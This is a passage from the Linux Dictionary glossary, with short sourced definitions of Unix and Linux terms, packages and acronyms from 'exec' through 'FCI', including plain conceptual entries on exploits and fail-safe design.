/eg-zek'/ or /eks'ek/ vt., n. 1. [Unix: from `execute'] Synonym for chain, derives from the exec(2) call. 2. [from `executive'] obs. The command interpreter for an OS (see shell); term esp. used around mainframes, and prob. derived from UNIVAC's archaic EXEC 2 and EXEC 8 operating systems. 3. At IBM and VM/CMS shops, the equivalent of a shell command file (among VM/CMS users). The mainstream `exec' as an abbreviation for (human) executive is not used. To a hacker, an `exec' is a always a program, never a person. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

executable

A binary file containing a program in machine language which is ready to be executed (run). From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

executable

Anything that can "run" on a computer. Contrast: Newbies often don't understand the difference between executables and normal files. For example, they don't understand the difference between opening an e-mail attachment with a .txt extension vs. a .exe. This misunderstanding comes about because GUIs like Windows and the Macintosh do a very good job at hiding technical details like this from users as to not upset them. Example: ActiveX, Java, JavaScript, .exe files, programs. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Executable file

See executable program From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Executable program

A program that is ready to run on a given computer. For a program to be executable, it first must be translated, usually by a compiler, into the machine language of a particular computer. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Execute

To carry out the instructions in an algorithm or program. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

execute

To run a program. On a chmod command line, you can add or remove permission to execute a file using the x symbol. You must have execute permission for a directory to be able to change to that directory or to be able to include that directory's name in a pathname given on a command line. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EXFCB

EXtended File Control Block From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

exicyclog

program to cycle exim logs From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

exigrep

program to extract information from exim logs From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

exim

An MTA (Mail Transport Agent) This MTA is rather easier to configure than smail or sendmail. It is a drop-in replacement for sendmail/mailq/rsmtp. Advanced features include the ability to reject connections from known spam sites, and an extremely efficient queue processing algorithm. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

exim-tls

Exim Mailer – with TLS (SSL) support This MTA is rather easier to configure than smail or sendmail. It is a drop-in replacement for sendmail/mailq/rsmtp. Advanced features include the ability to reject connections from known spam sites, and an extremely efficient queue processing algorithm. This version of Exim has been compiled with OpenSSL support, to allow secure SMTP over SSL. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eximconfig

interactive configure script for exim From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eximon

X monitor for the exim mail transport agent. This allows administrators to view the exim agent's mail queue and logs, and perform a variety of actions on queued messages, such as freezing, bouncing and thawing messages. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eximstats

exim mail statistics From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

exim_dbmbuild

program to build a database file for exim From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

exim_dumpdb

program to maintain exim mailer hint databases From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

exim_fixdb

program to maintain exim mailer hint databases From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

exim_lock

A program to lock a file exactly as Exim would From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

exim_tidydb

program to maintain exim mailer hint databases From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

exinext

program to extract information from exim retry database From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

exiqsumm

script to summarise contents of mail queue From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

exiwhat

programs to query what running exim processes are doing From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

exmh

An X user interface for MH mail. Exmh uses the regular MH programs to manipulate your mail folders and messages. This means it is compatible with command-line use of MH programs, and its actions should be familiar if you are an experienced MH user. If you are a new MH user, then the details of running MH programs is hidden behind the graphical interface. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

expand

convert tabs to spaces From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

expat

Expat is a C library for parsing XML. Expat is a stream-oriented XMLparser; handlers are registered with the parser prior to starting the parse. These handlers are then called when the parser discovers the associated structures in the document being parsed. A start tag is an example of the kind of structure for which handlers can be registered. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

expat

XML parsing C library – example application This package contains xmlwf, an example application of expat, the C library for parsing XML. The arguments to xmlwf are one or more files which are each to be checked for XML well-formedness. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

expect

A program that "talks" to other programs. Expect is a program that "talks" to other interactive programs according to a script. Following the script, Expect knows what can be expected from a program and what the correct response should be. An interpreted language provides branching and high-level control structures to direct the dialogue. In addition, the user can take control and interact directly when desired, afterward returning control to the script. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

expect

Expect is a tcl extension for automating interactive applications such as telnet, ftp, passwd, fsck, rlogin, tip, etc. Expect is also useful for testing the named applications. Expect makes it easy for a script to control another program and interact with it. Install the expect package if you'd like to develop scripts which interact with interactive applications. You'll also need to install the tcl package. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

expectk

A Tk/X11 version of the expect program. Expect is a program that "talks" to other interactive programs according to a script. Following the script, Expect knows what can be expected from a program and what the correct response should be. An interpreted language provides branching and high-level control structures to direct the dialogue. In addition, the user can take control and interact directly when desired, afterward returning control to the script. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

expiry

check and enforce password expiration policy From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

exploit (exploitz, spoits)

A technique of breaking into a system, or a tool that implements the technique. An exploit takes advantage of a weakness/vulnerability in a system in order to hack it. Culture: Exploits are the key to hacker subculture. Hackers gain fame by discovering exploits. Others gain fame by writing scripts for them. Legions of script-kiddies apply the exploit to millions of systems, defacing webpages and gaining (in)fame. Controversy: There is no good definition for this word. It is debated a lot trying to define exactly what is, and is not, an exploit. Key point: Since people make the same mistakes over-and-over, exploits for very different systems start to look very much like each other. Most exploits can be classified under major categories: buffer overflow, backtracking, defaults, samples, Denial of Service Contrast: The words exploit and vulnerability are often used interchangeably. This is because the person who discovers a new vulnerability will usually write an exploit script for it at the same time. Therefore, the vulnerability is often known by the name of the exploit script. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Export

To save data in a format that another program can read. Most programs can export a document in ASCII format, which almost any program can read and use. When saving a document with a recent version of a word processing program, you can choose a format from a list of dozens. See import. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

exportfs

maintain list of NFS exported file systems From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

expr

evaluate expressions From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EXT2

The native filesystem for Linux which offers long file names, permissions, error tolerance and high throughput. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ext2/ext3

ext2 file systems support large drive and disk partitions, along with added speed and reliability enhancements over previous UNIX file systems. Ext3 file systems add support for journalling to the ext2 file system, which alleviates lengthy file system checks (fsck) at bootup after a sudden system crash, reset, or power loss. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ext2resize

an ext2 filesystem resizer ext2resize resizes ext2 filesystems. This is useful if you run out of space on one partition, or have too much free space on another. Warning: Although the program is quite safe these days, if you do something wrong things will go wrong badly. Watch out when using programs like this. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

extace

waveform viewer. This is the extace waveform viewer. It plugs itself in as a Esound monitor and samples and displays the output from the Esound daemon. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Extended partitions

The partition table has room for only four partitions. For more partitions, one of these four partitions can be divided into many smaller partitions, called logical partitions. The original four are then called primary partitions. If a primary partition is subdivided in this way, it is known as an extended primary or extended partition. Typically, the first primary partition will be small (/dev/hda1, say). The second primary partition will fill the rest of the disk as an extended partition (/dev/hda2, say). In this case, the entries in the partition table of /dev/hda3 and /dev/hda4 will be blank. The extended partition can be subdivided repeatedly to give /dev/hda5, /dev/hda6, and so on. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

extension

Part of a file name that follows a period (also known as a suffix). For example, C program source files have the extension .c From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

External modem

A modem with its own case, cables, and power supply, designed to plug into a serial power. See internal modem. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

extipl

Yet Another Boot Selector for IBM-PC compatibles. Extended-IPL is a boot selector which is upper compatible with original IBM IPL. This package includes the installer for this boot code which is written into MBR of your hard disk. With this boot selector, you can select a partition from all the partitions including the logical partitions as well as the primary ones in all the BIOS supported disks when booting a PC, and then it will boot up the OS reside at the selected partition. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EXTRA

EXecutionTRace Analyser (IBM, OS/2) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Extranet

A means of networking that makes use of the Internet for private, encrypted communication.

Extranets are often used to link two or more intranets. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Extranet

An intranet that is accesible to computers that are not hysically part of a companys' own private network, but that is not accessible to the general public, for example to allow vendors and business partners to access a company web site. Often an intranet will make use of a Virtual Private Network. (VPN.) From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

exuberant-ctags

multi-language reimplementaion of ctags ctags parses source code and produces a sort of index mapping the names of significant entities (e.g. functions, classes, variables) to the location where that entity is defined. This index is used by editors like vi and emacsen to allow moving to the definition of a user-specified entity. Exuberant Ctags supports all possible C language constructions and multiple other languages such as assembler, AWK, ASP, BETA, Bourne shell, C++, Eiffel, Fortran, Java, Lisp, Pascal, Perl, PHP, Python, REXX, Ruby, S-Lang, Scheme, Tcl and Vim. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EXUG

European X Users Group (org., user group, Europe) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

exult

Play Ultima VII on a decent OS Exult is a game engine which can be used to play the classic games of Ultima VII under X11 (full-screen or in a window). The Black Gate (including Forge Of Virtue) and Serpent Isle (plus Silver Seed) are both playable to the end. Some minor differences to the originals remain, see FAQ 5.3./5.4. While it is possible to use the engine for other games, no such game has been written yet. Therefore, Exult is useless unless you own a copy of one of the Ultima VIIs. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

EXZ

EXcessive Zeros [error event] (DS1/E1, DS3/E3) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

eyesapplet

eyes applet for KDE An applet for the KDE panel containing a pair of eyes that follow your mouse around the screen. This package is part of the official KDE toys module. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ez-ipupdate

A client for most dynamic DNS services. ez-ipupdate is a quite complete client for the dynamic DNS service offered by <http://www.ez-ip.net/> and many more. Currently supported are: ez-ip, Penguinpowered, DHS, dynDNS, ODS, TZO, EasyDNS, GNUdip, Justlinux, Dyns and HN. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ezbounce

A highly configurable IRC proxy Ezbounce is a very configurable IRC proxy or 'bouncer'. Its basic features include password protection, remote administration, logging and listening on multiple ports. It lets you configure hosts to give access to and which addresses and ports they may connect to. It also can be setup to ban connections to and from certain addresses. Other features include: * Ability to listen and connect on different interfaces or virtual hosts. * Configurable limits on amount of clients permitted to connect from an address and to an address. * Configurable idle time limits. * Transparent DCC Proxying (incoming and outgoing) * Uses nonblocking sockets. * Users can set their own idents, regardless of the uid the proxy is running as. * Basic facilities to 'detach' and reattach clients from proxy but keep their connections to the IRC server alive. * Logs chats while you are detached and DCC sends them back to you when you reattach. * Ability to reload configuration at run time. * Can be run in the background or foreground. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ezmlm-browse

Web browser for ezmlm-idx archives This is ezmlm-browse, a web interface for browsing ezmlm-idx (version 0.40 or later) archives. The default presentation is similar to that of the ezmlm-cgi archive browser that is part of ezmlm-idx, but with the addition of threaded subjects and online posting / replying. However, the output is completely template drive, so you can make it fit into your current web scheme. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ezpublish-src

CMS for e-commerce, e-publishing and intranets eZ publish is a web based application suite. It delivers functionality ranging from publishing of news, web logs and diaries, through web shop functionality like shopping carts and wishlists and forums to intranet functions like contact handling and bug reporting. The software uses caching and other optimization techniques to speed up page serving. It handles users, user preferences and user tracking through a user database and both cookie-based and non-cookie sessions. It supports statistics for page views, links followed and banner ads, both images and HTML with presentation logic. The package lends itself easily to customization, from changing the look and feel by changing templates, localizing the languages and other internationalization issues to adding new functionality. The target audience for eZ publish are e-commerce, ASP (Application Service Providers), BSP (Business Service Providers), news publishing, intranets, bug reporting, content management, discussion boards, FAQ and knowledge handling, file and image management, group ware, calendaring, polls, todo lists, appointments as well as personal web sites. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

F

f2c

A FORTRAN 77 to C/C++ translator, plus static & shared libs. f2c translates FORTRAN 77 (with some extensions) into C, so that it can then be compiled and run on a system with no Fortran compiler. The C files must then be linked against the appropriate libraries. This is an actively maintained FORTRAN to C translator and with the fort77 frontend provides an ideal way to compile FORTRAN routines as black boxes (for example for invocation from C). Source level debugging facilities are not available, and error messages are not as well developed as in g77. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

F2C

FORTRAN to C [converter] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

F2F

Frequency – Double Frequency From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FA

FernmeldeAmt (Telekom) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FAA

Flow Admission Acknowledge [message] (LFAP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FABS

Fast Access Btree Structure From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FAC

Final Assembly Code (IMEI, GSM, mobile-systems) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FACCH

Fast Associated Control CHannel (GSM, DCCH, mobile-systems) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FACE

Framed Access Command Environment (Unix, SVR4) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

faces

Faces is a program for visually monitoring a list (typically a list of incoming mail messages, a list of jobs in a print queue or a list of system users). Faces operates in five different modes: monitoring for new mail, monitoring an entire mail file, monitoring a specified print queue, monitoring users on a machine and custom monitoring. Faces also includes a utility for including a face image (a compressed, scanned image) with mail messages. The image has to be compressed in a certain way, which can then be uncompressed and displayed on-the-fly in the mail program. This feature of faces is typically used with the exmh mail handling system. Install faces if you'd like to use its list monitoring capability or its face image inclusion capability. If you would like to include face images in email, you'll also need to install the faces-xface package. If you would like to develop xface applications, you'll need to also install faces-devel. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FACS

Firmware ACPI Control Structure (ACPI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Facsimile (FAX)

System used to transmit textual or graphical images over standard telephone lines. From Glossary of Distance Education and Internet Terminology

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

factor

prints prime factors From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FADOS

Fast Amsterdam Distributed (???) Operating System (OS, FAMP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Fixed ACPI Description Table (ACPI) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FADU

File Access Data Unit (FTAM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FAE

Field Application Engineer From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fai

Fully Automatic Installation FAI is a non interactive system to install a Debian Linux operating system on a PC cluster. You can take one or more virgin PCs, turn on the power and after a few minutes Linux is installed, configured and running on the whole cluster, without any interaction necessary. Homepage: <http://www.informatik.uni-koeln.de/fai> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fail-safe (fail-open, fail-close)

A philosophic point of view. When a system fails, how should it leave things: secure or unsecure? For example, if a firewall crashes, should it disable all network connectivity, or should it allow network connectivity to continue unprotected? A lot of security vulnerabilities occur because designers make the wrong choice. It is often easier to cause a system to fail than to break through it, so security items should probably fail in such a way to result in greater security at the expensive of stopping everything. Confusion: The terms "fail-open" and "fail-close" are frequently used to mean the opposite of each other. Some people think of a door, which when "open" allows things to pass through. Other people think of an electrical circuit, when "open" stops the flow of current (and conversely, a "closed" circuit passes current). Therefore, use the word "fail-safe" instead in order to avoid confusion. Analogy: The electrical circuit-breakers in your home are fail-safe switches using this concept. In the case of an electrical fault causing a short, the circuit breaker will blow open, halting the flow of electricity. This prevents a fire from starting. From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

faillog

examine faillog and set login failure limits From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

faillog

Login failure logging file From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fake

IP address takeover tool Fake is a utility that enables the IP address be taken over by bringing up a second interface on the host machine and using gratuitous arp. Designed to switch in backup servers on a LAN. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fakeroot

Gives a fake root environment. This package is intended to enable something like: `dpkg-buildpackage -rfakeroot` i.e. to remove the need to become root for a package build. This is done by setting `LD_PRELOAD` to `libfakeroot.so`, which provides wrappers around `getuid`, `chown`, `chmod`, `mknod`, `stat`, ..., thereby creating a fake root environment. If you don't understand any of this, you do not need fakeroot! From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FAL

File Access Listener (DEC, DNA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

falconseye

A port of NetHack using SDL Falcon's Eye is a mouse-driven interface for NetHack that enhances the visuals, audio and accessibility of the game, yet retains all the original gameplay and game features. NetHack is a single player dungeon exploration game that runs on a wide variety of computer systems, with a variety of graphical and text interfaces all using the same game engine. Unlike many other Dungeons & Dragons-inspired games, the emphasis in NetHack is on discovering the detail of the dungeon and not simply killing everything in sight – in fact, killing everything in sight is a good way to die quickly. Each game presents a different landscape – the random number generator provides an essentially unlimited number of variations of the dungeon and its denizens to be discovered by the player in one of a number of characters: you can pick your race, your role, and your gender. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

false

do nothing, unsuccessfully From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

falselogin

False login shell Strange kind of 'shell' which don't let the user to log in. Before the next login prompt falselogin gives some info to the user. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fam

FAM, the File Alteration Monitor, provides a daemon and an API which applications can use for notification of changes in specific files or directories. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fam

File Alteration Monitor FAM monitors files and directories, notifying interested applications of changes. This package provides a server that can monitor a given list of files and notify applications through a socket. If the imon pseudo device driver is loaded into the kernel, it notifies FAM.

Otherwise it has to poll the files' status. FAM can also provide a RPC service for monitoring remote files (such as on a mounted NFS filesystem). From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FAME

FORMEX Applied to Multilingualism in Europe (SGML, Europe) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Familiar (iPAQ)

The Familiar Project is composed of a group of loosely knit developers all contributing to creating the next generation of PDA OS. Currently, most development time is geared towards producing a stable, and full featured Linux distribution for the Compaq iPAQ h3600-series of handheld computers, as well as apps to run on top of the distribution. Familiar v0.5.3 was released July 11, 2002. Familiar v0.6.1 was released January 9, 2003. From LWN Distribution List

FAPI

Family Application Programmer Interface (DOS, VDM, API) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FAQ

/F-A-Q/ or /fak/ n. [Usenet] 1. A Frequently Asked Question. 2. A compendium of accumulated lore, posted periodically to high-volume newsgroups in an attempt to forestall such questions. Some people prefer the term `FAQ list' or `FAQL' /fa'kl/, reserving `FAQ' for sense 1. This lexicon itself serves as a good example of a collection of one kind of lore, although it is far too big for a regular FAQ posting. Examples: "What is the proper type of NULL?" and "What's that funny name for the # character?" are both Frequently Asked Questions. Several FAQs refer readers to this file. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FAQ

An Acronym for Frequently Asked Questions, these are lists of questions that occur frequently on Usenet newsgroups, they are posted at regular intervals and archived at several sites. You should always read the FAQ (if there is one) for a group before posting a message, or risk being flamed. From KADOWKEV <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FAQ

Frequently Asked Questions (slang, Usenet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FAQ (Frequently Asked Questions)

FAQs are documents that list and answer the most common questions on a particular subject. There are hundreds of FAQs on subjects as diverse as Pet Grooming and Cryptography. FAQs are usually written by people who have tired of answering the same question over and over. From Matisse
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

faqomatic

Online interactive FAQ CGI Creates updatable web-based FAQs with CGI. It keeps cumulative statistics about hits. Highly customizable to permit only those you choose to update the FAQ, or to allow anyone to change it depending on your requirements. It will also generate a cache of static pages if desired so that most accesses to unchanging data will be served directly through your webserver without the overhead of CGI. If you want to generate graphs of access statistics, install the libgd-perl package as well. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FAR

False Acceptance Rate From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FAR

First Application System Test From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FAST

Forschungsinstitut fuer Angewandte Software–Technologie [e.v.] (org.) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

fastdnaml

[Biology] A tool for construction of phylogenetic trees of DNA sequences fastDNAmI is a program derived from Joseph Felsenstein's version 3.3 DNAML (part of his PHYLIP package). Users should consult the documentation for DNAML before using this program. fastDNAmI is an attempt to solve the same problem as DNAML, but to do so faster and using less memory, so that larger trees and/or more bootstrap replicates become tractable. Much of fastDNAmI is merely a recoding of the PHYLIP 3.3 DNAML program from PASCAL to C. URL:
<http://geta.life.uiuc.edu/~gary/programs/fastDNAmI.html> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

fastjar

Jar creation utility Replacement for Suns .jar creation program. It is written in C instead of java and is tons faster. It is currently not complete. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

fastlink

[Biology] A faster version of pedigree programs of Linkage Fastlink is much faster than the original Linkage but does not implement all the programs. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

FAT

File Allocation Table (DOS) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

FAT

see file allocation table (FAT). From Redhat–9–Glossary
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

FAT (File allocation table)

A hidden table of every cluster on a floppy or hard disk. The FAT records how files are stored in distinct – and not necessarily contiguous – clusters. Viruses also like to hide out in the FAT; make sure your virus–checking software looks there for malicious programs. A file allocation table uses a simple method, much like a scavenger hunt, to keep track of data. The directory file stores the address of the file's first cluster. In the entry for the second cluster is the address of the third cluster, and so on, until the last cluster entry, which contains an end–of–file code. Because this table provides only a means for finding data on a disk, DOS creates and maintains two copies of the FAT in case one is damaged. From QUECID <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

Fatal error

An error in a program that, at best causes the program to abort, and, at worst causes a crash with loss of data. Bulletproof programs are supposed to be immune to fatal errors, but they usually are not. From QUECID <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

Fatware

Software that is so laden with features, or is designed so inefficiently, that it monopolizes huge chunks of hard disk space, random–access memory (RAM), and microprocessor power. Fatware is one of the undesirable result of creeping featurism. From QUECID
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

FAU

Flow Admission Update [message] (LFAP) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

FAU

Friedrich–Alexander–Universitaet (org., Erlangen, Germany, Nuernberg, Germany) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

faubackup

Backup System using a Filesystem for Storage This Program uses a filesystem on a hard drive for incremental and full backups. All Backups can easily be accessed by standard filesystem tools (ls, find, grep, cp, ...) Later Backups to the same filesystem will automatically be incremental, as unchanged files are only hard-linked with the existing version of the file. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Fault tolerance

The capability of a computer system to cope with internal hardware problems without interrupting the system's performance, often by automatically bringing backup systems online whenever computers are assigned critical functions, such as guiding aircraft to a safe landing or ensuring a steady flow of medicines to a patient. Fault tolerance also is beneficial for non-critical everyday applications. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FAW

Forschungsinstitut fuer Anwendungsorientierte Wissensverarbeitung (org., KI, Ulm) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FB

Fiber optic Backbone From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FBAS

FarbBild-AustastSystem / Farb-Bild-Austast-Synchron-signal (video) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fb

Packet radio mailbox and utilities. The fbb package contains software written by f6fbb for setting up a packet radio mailbox. It is intended for amateur radio operators. A short overview of some of the binaries: o fbb: Script to start the daemon. o xfbbd: The daemon which listens for incoming connects. o epurmess: Delete messages based on age. o epurwp: White Pages maintenance. o reqdir: FBB server which requests directory listings. o xfbbc: B/W Ncurses console for xfbbd. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fbdoc

Documentation for fbb, the packet radio mailbox This package provides documentation on setting up a packet radio mailbox with fbb. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fbgetty

A console getty with and without frame buffer capability fbgetty is a console getty, which supports frame buffers. It also uses an extend issue field and refreshes the displayed issue, when an VT (Virtual Terminal) is activated. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fbi

linux FrameBuffer Imageviewer This is a image viewer for linux framebuffer devices. It has buildin support for a number of common formats. For unknown files it tries to use convert from the ImageMagick package as external converter. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FBL

Frame Burst error Length (CD) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fblogo

Converts images to framebuffer-logo header file fblogo takes an image as input and generates an appropriate linux_logo.h which can simply be included in the kernel. It will be displayed when the framebuffer device is enabled. You can also use it to generate full screen splash screens for the Linux Progress Patch. It will work for 2.2.x, 2.4.x and 2.5.x kernels. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FBM

Linux Dictionary

- Flexible Buffer Management (QMS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- FBS**
Flexible Bandwidth Service (ATM, SDH) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- fbset**
Fbset is a utility for maintaining frame buffer resolutions. Fbset can change the video mode properties of a frame buffer device, and is usually used to change the current video mode. Install fbset if you need to manage frame buffer resolutions. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- fbset**
Framebuffer device maintenance program. Program to modify settings for the framebuffer devices (/dev/fb?) on Linux, like depth, virtual resolution, timing parameters etc. This program is useful for all Linux/m68k kernel versions, and for late 2.1 kernels on most other architectures. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- fbtv**
linux console (fbcon) TV application TV application for the linux console, requires a framebuffer device (vesafb, matroxfb, atyfb, ...) and a video4linux driver like bttv. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FCD

Floating Car Data From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FCEDIT

The default editor for the fc builtin command. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FCFS

First Come, First Served From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fcheck

IDS filesystem baseline integrity checker. The fcheck utility is an IDS (Intrusion Detection System) which can be used to monitor changes to any given filesystem. Essentially, fcheck has the ability to monitor directories, files or complete filesystems for any additions, deletions, and modifications. It is configurable to exclude active log files, and can be ran as often as needed from the command line or cron making it extremely difficult to circumvent. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FCI

Fibre Channel Interface From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FCI

Flow Control Indicator (DLSW) From VERA
